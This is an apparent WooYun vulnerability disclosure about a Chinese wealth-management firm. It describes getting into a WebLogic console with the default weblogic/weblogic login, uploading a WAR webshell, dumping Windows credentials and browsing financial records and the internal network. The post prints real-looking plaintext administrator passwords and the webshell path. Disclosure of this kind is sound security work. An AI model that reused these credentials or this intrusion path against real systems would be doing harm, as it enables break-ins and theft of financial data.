当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0142654

漏洞标题：新湖财富弱口令导致getshell进入服务器可沦陷内网泄漏大量敏感信息涉及金额上千万

相关厂商：新湖财富

漏洞作者： 路人甲

提交时间：2015-09-23 23:08

修复时间：2015-11-08 16:12

公开时间：2015-11-08 16:12

漏洞类型：后台弱口令

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-23： 细节已通知厂商并且等待厂商处理中
2015-09-24： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-10-04： 细节向核心白帽子及相关领域专家公开
2015-10-14： 细节向普通白帽子公开
2015-10-24： 细节向实习白帽子公开
2015-11-08： 细节向公众公开

简要描述：

getshell进入服务器，泄漏大量敏感信息可操作上千万金额

详细说明：

**.**.**.**:7001/login.jsp

6.jpg


弱口令
**.**.**.**:7001/console/login/LoginForm.jsp
weblogic/weblogic
通过上传war格式的马 拿到了shell
**.**.**.**:7001/ma/ma3.jsp
然后看下远程桌面是打开的 省了很多麻烦
并且是管理员权限

7.jpg


直接读取管理员密码

活动代码页: 936
Authentication Id:0;609419464
Authentication Package:NTLM
Primary User:Guest
Authentication Domain:WIN-OIB34EHHQ07
* User: Guest
* Domain: WIN-OIB34EHHQ07
* Password: yaya.1992
Authentication Id:0;208898
Authentication Package:NTLM
Primary User:Administrator
Authentication Domain:WIN-OIB34EHHQ07
* User: Administrator
* Domain: WIN-OIB34EHHQ07
* Password: LONG0204yu
Authentication Id:0;50394
Authentication Package:NTLM
Primary User:
Authentication Domain:
 (LUID ERROR) 
Authentication Id:0;996
Authentication Package:Negotiate
Primary User:WIN-OIB34EHHQ07$
Authentication Domain:WORKGROUP
* User: WIN-OIB34EHHQ07$
* Domain: WORKGROUP
* Password: 
Authentication Id:0;609419485
Authentication Package:NTLM
Primary User:Guest
Authentication Domain:WIN-OIB34EHHQ07
* User: Guest
* Domain: WIN-OIB34EHHQ07
* Password: yaya.1992
Authentication Id:0;997
Authentication Package:Negotiate
Primary User:LOCAL SERVICE
Authentication Domain:NT AUTHORITY
* User: 
* Domain: 
* Password: 
Authentication Id:0;999
Authentication Package:NTLM
Primary User:WIN-OIB34EHHQ07$
Authentication Domain:WORKGROUP
* User: WIN-OIB34EHHQ07$
* Domain: WORKGROUP
* Password:


然后成功登录服务器

1.jpg


发现服务器已登录了后台 我们就不用在从数据库里读取了
看下涉及哪些信息

2.jpg


3.jpg


到账查询 金额都在百万以上 而且有N多数据
涉及金额上千万！！！！

4.jpg


连接下数据库

5.jpg


看下内网的连接记录

8.jpg


有些是直接可连接的

9.jpg


还有很多 可以通过嗅探、暴力破解等方式 我就步深入了 点到为止

漏洞证明：

9.jpg

修复方案：

修改密码 完善内网

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-09-24 16:11

厂商回复：

CNVD确认所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无